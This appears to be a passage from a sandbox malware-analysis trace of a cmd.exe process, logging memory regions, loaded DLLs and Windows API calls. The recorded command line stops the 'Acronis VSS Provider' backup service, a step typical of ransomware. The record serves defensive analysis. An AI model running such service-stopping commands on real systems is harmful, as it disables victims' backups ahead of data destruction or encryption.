"\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 2757 start_va = 0x762b0000 end_va = 0x762c8fff entry_point = 0x762b0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 2758 start_va = 0x762d0000 end_va = 0x762d9fff entry_point = 0x762d0000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 2759 start_va = 0x765f0000 end_va = 0x76635fff entry_point = 0x765f0000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 2760 start_va = 0x772d0000 end_va = 0x773bffff entry_point = 0x772d0000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 2761 start_va = 0x773c0000 end_va = 0x7744ffff entry_point = 0x773c0000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 2762 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 2763 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 2764 start_va = 0x670000 end_va = 0x7f7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000670000" filename = "" Region: id = 2765 start_va = 0x75d40000 end_va = 0x75e0bfff entry_point = 0x75d40000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 2766 start_va = 0x76500000 end_va = 0x7655ffff entry_point = 0x76500000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 2767 start_va = 0x30000 end_va = 0x36fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 2768 start_va = 0x120000 end_va = 0x121fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 2769 start_va = 0x130000 end_va = 0x130fff entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 2770 start_va = 0x140000 end_va = 0x140fff entry_point = 0x0 region_type = private name = "private_0x0000000000140000" filename = "" Region: id = 2771 start_va = 0x800000 end_va = 0x980fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000800000" filename = "" Region: id = 2772 start_va = 0x990000 end_va = 0x1d8ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000990000" filename = "" Region: id = 2773 start_va = 0x1d90000 end_va = 0x20d2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001d90000" filename = "" Region: id = 2774 start_va = 0x20e0000 end_va = 0x23aefff entry_point = 0x20e0000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Thread: id = 119 os_tid = 0x7c0 [0057.802] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26fb74 | out: lpSystemTimeAsFileTime=0x26fb74*(dwLowDateTime=0xdd996a00, dwHighDateTime=0x1d4abdd)) [0057.802] GetCurrentProcessId () returned 0x69c [0057.802] GetCurrentThreadId () returned 0x7c0 [0057.802] GetTickCount () returned 0x1c090 [0057.802] QueryPerformanceCounter (in: lpPerformanceCount=0x26fb6c | out: lpPerformanceCount=0x26fb6c*=1813303200000) returned 1 [0057.803] GetModuleHandleA (lpModuleName=0x0) returned 0x49f60000 [0057.803] __set_app_type (_Type=0x1) [0057.803] __p__fmode () returned 0x75ed31f4 [0057.803] __p__commode () returned 0x75ed31fc [0057.803] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x49f821a6) returned 0x0 [0057.804] __getmainargs (in: _Argc=0x49f84238, _Argv=0x49f84240, _Env=0x49f8423c, _DoWildCard=0, _StartInfo=0x49f84140 | out: _Argc=0x49f84238, _Argv=0x49f84240, _Env=0x49f8423c) returned 0 [0057.804] GetCurrentThreadId () returned 0x7c0 [0057.804] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x7c0) returned 0x60 [0057.804] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75a20000 [0057.804] GetProcAddress (hModule=0x75a20000, lpProcName="SetThreadUILanguage") returned 0x75a4a84f [0057.804] SetThreadUILanguage (LangId=0x0) returned 0x409 [0057.805] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0057.805] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x26fb04 | out: phkResult=0x26fb04*=0x0) returned 0x2 [0057.805] VirtualQuery (in: lpAddress=0x26fb3b, lpBuffer=0x26fad4, dwLength=0x1c | out: lpBuffer=0x26fad4*(BaseAddress=0x26f000, AllocationBase=0x170000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0057.805] VirtualQuery (in: lpAddress=0x170000, lpBuffer=0x26fad4, dwLength=0x1c | out: lpBuffer=0x26fad4*(BaseAddress=0x170000, AllocationBase=0x170000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c [0057.805] VirtualQuery (in: lpAddress=0x171000, lpBuffer=0x26fad4, dwLength=0x1c | out: lpBuffer=0x26fad4*(BaseAddress=0x171000, AllocationBase=0x170000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c [0057.806] VirtualQuery (in: lpAddress=0x173000, lpBuffer=0x26fad4, dwLength=0x1c | out: lpBuffer=0x26fad4*(BaseAddress=0x173000, AllocationBase=0x170000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0057.806] VirtualQuery (in: lpAddress=0x270000, lpBuffer=0x26fad4, dwLength=0x1c | out: lpBuffer=0x26fad4*(BaseAddress=0x270000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0xf0000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0057.806] GetConsoleOutputCP () returned 0x1b5 [0057.806] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f84260 | out: lpCPInfo=0x49f84260) returned 1 [0057.806] SetConsoleCtrlHandler (HandlerRoutine=0x49f7e72a, Add=1) returned 1 [0057.806] _get_osfhandle (_FileHandle=1) returned 0x7 [0057.806] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x0) returned 1 [0057.806] _get_osfhandle (_FileHandle=1) returned 0x7 [0057.806] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x49f841ac | out: lpMode=0x49f841ac) returned 1 [0057.806] _get_osfhandle (_FileHandle=1) returned 0x7 [0057.806] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0057.807] _get_osfhandle (_FileHandle=0) returned 0x3 [0057.807] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x49f841b0 | out: lpMode=0x49f841b0) returned 1 [0057.807] _get_osfhandle (_FileHandle=0) returned 0x3 [0057.807] SetConsoleMode (hConsoleHandle=0x3, dwMode=0x1a7) returned 1 [0057.807] GetEnvironmentStringsW () returned 0x582b40* [0057.808] FreeEnvironmentStringsW (penv=0x582b40) returned 1 [0057.808] GetEnvironmentStringsW () returned 0x582b40* [0057.808] FreeEnvironmentStringsW (penv=0x582b40) returned 1 [0057.808] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x26ea74 | out: phkResult=0x26ea74*=0x6c) returned 0x0 [0057.808] RegQueryValueExW (in: hKey=0x6c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x26ea7c, lpData=0x26ea80, lpcbData=0x26ea78*=0x1000 | out: lpType=0x26ea7c*=0x0, lpData=0x26ea80*=0x32, lpcbData=0x26ea78*=0x1000) returned 0x2 [0057.808] RegQueryValueExW (in: hKey=0x6c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x26ea7c, lpData=0x26ea80, lpcbData=0x26ea78*=0x1000 | out: lpType=0x26ea7c*=0x4, lpData=0x26ea80*=0x1, lpcbData=0x26ea78*=0x4) returned 0x0 [0057.808] RegQueryValueExW (in: hKey=0x6c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x26ea7c, lpData=0x26ea80, lpcbData=0x26ea78*=0x1000 | out: lpType=0x26ea7c*=0x0, lpData=0x26ea80*=0x1, lpcbData=0x26ea78*=0x1000) returned 0x2 [0057.808] RegQueryValueExW (in: hKey=0x6c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x26ea7c, lpData=0x26ea80, lpcbData=0x26ea78*=0x1000 | out: lpType=0x26ea7c*=0x4, lpData=0x26ea80*=0x0, lpcbData=0x26ea78*=0x4) returned 0x0 [0057.808] RegQueryValueExW (in: hKey=0x6c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x26ea7c, lpData=0x26ea80, lpcbData=0x26ea78*=0x1000 | out: lpType=0x26ea7c*=0x4, lpData=0x26ea80*=0x40, lpcbData=0x26ea78*=0x4) returned 0x0 [0057.808] RegQueryValueExW (in: hKey=0x6c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x26ea7c, lpData=0x26ea80, lpcbData=0x26ea78*=0x1000 | out: lpType=0x26ea7c*=0x4, lpData=0x26ea80*=0x40, lpcbData=0x26ea78*=0x4) returned 0x0 [0057.808] RegQueryValueExW (in: hKey=0x6c, lpValueName="AutoRun", lpReserved=0x0, lpType=0x26ea7c, lpData=0x26ea80, lpcbData=0x26ea78*=0x1000 | out: lpType=0x26ea7c*=0x0, lpData=0x26ea80*=0x40, lpcbData=0x26ea78*=0x1000) returned 0x2 [0057.809] RegCloseKey (hKey=0x6c) returned 0x0 [0057.809] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x26ea74 | out: phkResult=0x26ea74*=0x6c) returned 0x0 [0057.809] RegQueryValueExW (in: hKey=0x6c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x26ea7c, lpData=0x26ea80, lpcbData=0x26ea78*=0x1000 | out: lpType=0x26ea7c*=0x0, lpData=0x26ea80*=0x40, lpcbData=0x26ea78*=0x1000) returned 0x2 [0057.809] RegQueryValueExW (in: hKey=0x6c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x26ea7c, lpData=0x26ea80, lpcbData=0x26ea78*=0x1000 | out: lpType=0x26ea7c*=0x4, lpData=0x26ea80*=0x1, lpcbData=0x26ea78*=0x4) returned 0x0 [0057.809] RegQueryValueExW (in: hKey=0x6c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x26ea7c, lpData=0x26ea80, lpcbData=0x26ea78*=0x1000 | out: lpType=0x26ea7c*=0x0, lpData=0x26ea80*=0x1, lpcbData=0x26ea78*=0x1000) returned 0x2 [0057.809] RegQueryValueExW (in: hKey=0x6c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x26ea7c, lpData=0x26ea80, lpcbData=0x26ea78*=0x1000 | out: lpType=0x26ea7c*=0x4, lpData=0x26ea80*=0x0, lpcbData=0x26ea78*=0x4) returned 0x0 [0057.809] RegQueryValueExW (in: hKey=0x6c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x26ea7c, lpData=0x26ea80, lpcbData=0x26ea78*=0x1000 | out: lpType=0x26ea7c*=0x4, lpData=0x26ea80*=0x9, lpcbData=0x26ea78*=0x4) returned 0x0 [0057.809] RegQueryValueExW (in: hKey=0x6c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x26ea7c, lpData=0x26ea80, lpcbData=0x26ea78*=0x1000 | out: lpType=0x26ea7c*=0x4, lpData=0x26ea80*=0x9, lpcbData=0x26ea78*=0x4) returned 0x0 [0057.809] RegQueryValueExW (in: hKey=0x6c, lpValueName="AutoRun", lpReserved=0x0, lpType=0x26ea7c, lpData=0x26ea80, lpcbData=0x26ea78*=0x1000 | out: lpType=0x26ea7c*=0x0, lpData=0x26ea80*=0x9, lpcbData=0x26ea78*=0x1000) returned 0x2 [0057.809] RegCloseKey (hKey=0x6c) returned 0x0 [0057.809] time (in: timer=0x0 | out: timer=0x0) returned 0x5c3c3f59 [0057.809] srand (_Seed=0x5c3c3f59) [0057.809] GetCommandLineW () returned="C:\\Windows\\system32\\cmd.exe /c sc stop \"Acronis VSS Provider\" /y" [0057.809] GetCommandLineW () returned="C:\\Windows\\system32\\cmd.exe /c sc stop \"Acronis VSS Provider\" /y" [0057.809] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49f85260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0057.810] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x584bd0, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b [0057.810] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x49f90640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0057.810] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49f90640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0057.810] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x49f90640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0057.810] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0057.810] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0057.810] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0057.810] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0057.810] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0057.810] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0057.810] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0057.810] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0057.810] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0057.811] GetEnvironmentStringsW () returned 0x582b40* [0057.811] FreeEnvironmentStringsW (penv=0x582b40) returned 1 [0057.811] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x49f90640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0057.811] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x49f90640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0057.811] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0057.811] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0057.811] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0057.811] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0057.811] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0057.811] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0057.811] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0057.811] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0057.811] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x26f840 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0057.811] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x26f840, lpFilePart=0x26f83c | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x26f83c*="Desktop") returned 0x25 [0057.812] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0057.812] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x26f5bc | out: lpFindFileData=0x26f5bc) returned 0x581dd8 [0057.812] FindClose (in: hFindFile=0x581dd8 | out: hFindFile=0x581dd8) returned 1 [0057.812] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x26f5bc | out: lpFindFileData=0x26f5bc) returned 0x581dd8 [0057.812] FindClose (in: hFindFile=0x581dd8 | out: hFindFile=0x581dd8) returned 1 [0057.812] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20 [0057.812] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x26f5bc | out: lpFindFileData=0x26f5bc) returned 0x581dd8 [0057.812] FindClose (in: hFindFile=0x581dd8 | out: hFindFile=0x581dd8) returned 1 [0057.812] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0057.813] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1 [0057.813] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0057.813] GetEnvironmentStringsW () returned 0x582b40* [0057.813] FreeEnvironmentStringsW (penv=0x582b40) returned 1 [0057.813] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49f85260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0057.813] GetConsoleOutputCP () returned 0x1b5 [0057.814] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f84260 | out: lpCPInfo=0x49f84260) returned 1 [0057.814] GetUserDefaultLCID () returned 0x409 [0057.814] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x49f84950, cchData=8 | out: lpLCData=":") returned 2 [0057.814] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x26f980, cchData=128 | out: lpLCData="0") returned 2 [0057.814] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x26f980, cchData=128 | out: lpLCData="0") returned 2 [0057.814] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x26f980, cchData=128 | out: lpLCData="1") returned 2 [0057.814] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x49f84940, cchData=8 | out: lpLCData="/") returned 2 [0057.814] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x49f84d80, cchData=32 | out: lpLCData="Mon") returned 4 [0057.815] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x49f84d40, cchData=32 | out: lpLCData="Tue") returned 4 [0057.815] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x49f84d00, cchData=32 | out: lpLCData="Wed") returned 4 [0057.815] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x49f84cc0, cchData=32 | out: lpLCData="Thu") returned 4 [0057.815] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x49f84c80, cchData=32 | out: lpLCData="Fri") returned 4 [0057.815] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x49f84c40, cchData=32 | out: lpLCData="Sat") returned 4 [0057.815] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x49f84c00, cchData=32 | out: lpLCData="Sun") returned 4 [0057.815] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x49f84930, cchData=8 | out: lpLCData=".") returned 2 [0057.815] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x49f84920, cchData=8 | out: lpLCData=",") returned 2 [0057.815] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0057.816] GetConsoleTitleW (in: lpConsoleTitle=0x585920, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0057.816] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75a20000 [0057.816] GetProcAddress (hModule=0x75a20000, lpProcName="CopyFileExW") returned 0x75a53b92 [0057.816] GetProcAddress (hModule=0x75a20000, lpProcName="IsDebuggerPresent") returned 0x75a34a5d [0057.816] GetProcAddress (hModule=0x75a20000, lpProcName="SetConsoleInputExeNameW") returned 0x75a4a79d [0057.817] _wcsicmp (_String1="sc", _String2=")") returned 74 [0057.817] _wcsicmp (_String1="FOR", _String2="sc") returned -13 [0057.817] _wcsicmp (_String1="FOR/?", _String2="sc") returned -13 [0057.817] _wcsicmp (_String1="IF", _String2="sc") returned -10 [0057.817] _wcsicmp (_String1="IF/?", _String2="sc") returned -10 [0057.817] _wcsicmp (_String1="REM", _String2="sc") returned -1 [0057.817] _wcsicmp (_String1="REM/?", _String2="sc") returned -1 [0057.819] GetConsoleTitleW (in: lpConsoleTitle=0x26f678, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0057.819] _wcsicmp (_String1="sc", _String2="DIR") returned 15 [0057.819] _wcsicmp (_String1="sc", _String2="ERASE") returned 14 [0057.819] _wcsicmp (_String1="sc", _String2="DEL") returned 15 [0057.819] _wcsicmp (_String1="sc", _String2="TYPE") returned -1 [0057.819] _wcsicmp (_String1="sc", _String2="COPY") returned 16 [0057.819] _wcsicmp (_String1="sc", _String2="CD") returned 16 [0057.819] _wcsicmp (_String1="sc", _String2="CHDIR") returned 16 [0057.819] _wcsicmp (_String1="sc", _String2="RENAME") returned 1 [0057.819] _wcsicmp (_String1="sc", _String2="REN") returned 1 [0057.819] _wcsicmp (_String1="sc", _String2="ECHO") returned 14 [0057.819] _wcsicmp (_String1="sc", _String2="SET") returned -2 [0057.820] _wcsicmp (_String1="sc", _String2="PAUSE") returned 3 [0057.820] _wcsicmp (_String1="sc", _String2="DATE") returned 15 [0057.820] _wcsicmp (_String1="sc", _String2="TIME") returned -1 [0057.820] _wcsicmp (_String1="sc", _String2="PROMPT") returned 3 [0057.820] _wcsicmp (_String1="sc", _String2="MD") returned 6 [0057.820] _wcsicmp (_String1="sc", _String2="MKDIR") returned 6 [0057.820] _wcsicmp (_String1="sc", _String2="RD") returned 1 [0057.820] _wcsicmp (_String1="sc", _String2="RMDIR") returned 1 [0057.820] _wcsicmp (_String1="sc", _String2="PATH") returned 3 [0057.820] _wcsicmp (_String1="sc", _String2="GOTO") returned 12 [0057.820] _wcsicmp (_String1="sc", _String2="SHIFT") returned -5 [0057.820] _wcsicmp (_String1="sc", _String2="CLS") returned 16 [0057.820] _wcsicmp (_String1="sc", _String2="CALL") returned 16 [0057.820] _wcsicmp (_String1="sc", _String2="VERIFY") returned -3 [0057.820] _wcsicmp (_String1="sc", _String2="VER") returned -3 [0057.820] _wcsicmp (_String1="sc", _String2="VOL") returned -3 [0057.820] _wcsicmp (_String1="sc", _String2="EXIT") returned 14 [0057.820] _wcsicmp (_String1="sc", _String2="SETLOCAL") returned -2 [0057.820] _wcsicmp (_String1="sc", _String2="ENDLOCAL") returned 14 [0057.820] _wcsicmp (_String1="sc", _String2="TITLE") returned -1 [0057.820] _wcsicmp (_String1="sc", _String2="START") returned -17 [0057.820] _wcsicmp (_String1="sc", _String2="DPATH") returned 15 [0057.820] _wcsicmp (_String1="sc", _String2="KEYS") returned 8 [0057.820] _wcsicmp (_String1="sc", _String2="MOVE") returned 6 [0057.820] _wcsicmp (_String1="sc", _String2="PUSHD") returned 3 [0057.820] _wcsicmp (_String1="sc", _String2="POPD") returned 3 [0057.820] _wcsicmp (_String1="sc", _String2="ASSOC") returned 18 [0057.820] _wcsicmp (_String1="sc", _String2="FTYPE") returned 13 [0057.820] _wcsicmp (_String1="sc", _String2="BREAK") returned 17 [0057.820] _wcsicmp (_String1="sc", _String2="COLOR") returned 16 [0057.820] _wcsicmp (_String1="sc", _String2="MKLINK") returned 6 [0057.820] _wcsicmp (_String1="sc", _String2="DIR") returned 15 [0057.820] _wcsicmp (_String1="sc", _String2="ERASE") returned 14 [0057.821] _wcsicmp (_String1="sc", _String2="DEL") returned 15 [0057.821] _wcsicmp (_String1="sc", _String2="TYPE") returned -1 [0057.821] _wcsicmp (_String1="sc", _String2="COPY") returned 16 [0057.821] _wcsicmp (_String1="sc", _String2="CD") returned 16 [0057.821] _wcsicmp (_String1="sc", _String2="CHDIR") returned 16 [0057.821] _wcsicmp (_String1="sc", _String2="RENAME") returned 1 [0057.821] _wcsicmp (_String1="sc", _String2="REN") returned 1 [0057.821] _wcsicmp (_String1="sc", _String2="ECHO") returned 14 [0057.821] _wcsicmp (_String1="sc", _String2="SET") returned -2 [0057.821] _wcsicmp (_String1="sc", _String2="PAUSE") returned 3 [0057.821] _wcsicmp (_String1="sc", _String2="DATE") returned 15 [0057.821] _wcsicmp (_String1="sc", _String2="TIME") returned -1 [0057.821] _wcsicmp (_String1="sc", _String2="PROMPT") returned 3 [0057.821] _wcsicmp (_String1="sc", _String2="MD") returned 6 [0057.821] _wcsicmp (_String1="sc", _String2="MKDIR") returned 6 [0057.821] _wcsicmp (_String1="sc", _String2="RD") returned 1 [0057.821] _wcsicmp (_String1="sc", _String2="RMDIR") returned 1 [0057.821] _wcsicmp (_String1="sc", _String2="PATH") returned 3 [0057.821] _wcsicmp (_String1="sc", _String2="GOTO") returned 12 [0057.821] _wcsicmp (_String1="sc", _String2="SHIFT") returned -5 [0057.821] _wcsicmp (_String1="sc", _String2="CLS") returned 16 [0057.821] _wcsicmp (_String1="sc", _String2="CALL") returned 16 [0057.821] _wcsicmp (_String1="sc", _String2="VERIFY") returned -3 [0057.821] _wcsicmp (_String1="sc", _String2="VER") returned -3 [0057.821] _wcsicmp (_String1="sc", _String2="VOL") returned -3 [0057.821] _wcsicmp (_String1="sc", _String2="EXIT") returned 14 [0057.821] _wcsicmp (_String1="sc", _String2="SETLOCAL") returned -2 [0057.821] _wcsicmp (_String1="sc", _String2="ENDLOCAL") returned 14 [0057.821] _wcsicmp (_String1="sc", _String2="TITLE") returned -1 [0057.821] _wcsicmp (_String1="sc", _String2="START") returned -17 [0057.821] _wcsicmp (_String1="sc", _String2="DPATH") returned 15 [0057.821] _wcsicmp (_String1="sc", _String2="KEYS") returned 8 [0057.821] _wcsicmp (_String1="sc", _String2="MOVE") returned 6 [0057.821] _wcsicmp (_String1="sc", _String2="PUSHD") returned 3 [0057.821] _wcsicmp (_String1="sc", _String2="POPD") returned 3 [0057.822] _wcsicmp (_String1="sc", _String2="ASSOC") returned 18 [0057.822] _wcsicmp (_String1="sc", _String2="FTYPE") returned 13 [0057.822] _wcsicmp (_String1="sc", _String2="BREAK") returned 17 [0057.822] _wcsicmp (_String1="sc", _String2="COLOR") returned 16 [0057.822] _wcsicmp (_String1="sc", _String2="MKLINK") returned 6 [0057.822] _wcsicmp (_String1="sc", _String2="FOR") returned 13 [0057.822] _wcsicmp (_String1="sc", _String2="IF") returned 10 [0057.822] _wcsicmp (_String1="sc", _String2="REM") returned 1 [0057.822] _wcsnicmp (_String1="sc", _String2="cmd ", _MaxCount=0x4) returned 16 [0057.822] SetErrorMode (uMode=0x0) returned 0x0 [0057.822] SetErrorMode (uMode=0x1) returned 0x0 [0057.822] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x585e10, lpFilePart=0x26f198 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x26f198*="Desktop") returned 0x25 [0057.822] SetErrorMode (uMode=0x0) returned 0x1 [0057.823] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x49f90640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0057.823] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0057.829] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49f90640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0057.833] InitializeProcThreadAttributeList (in: lpAttributeList=0x26f294, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x26f35c | out: lpAttributeList=0x26f294, lpSize=0x26f35c) returned 1 [0057.833] UpdateProcThreadAttribute (in: lpAttributeList=0x26f294, dwFlags=0x0, Attribute=0x60001, lpValue=0x26f354, cbSize=0x4, lpPreviousValue=0x0, 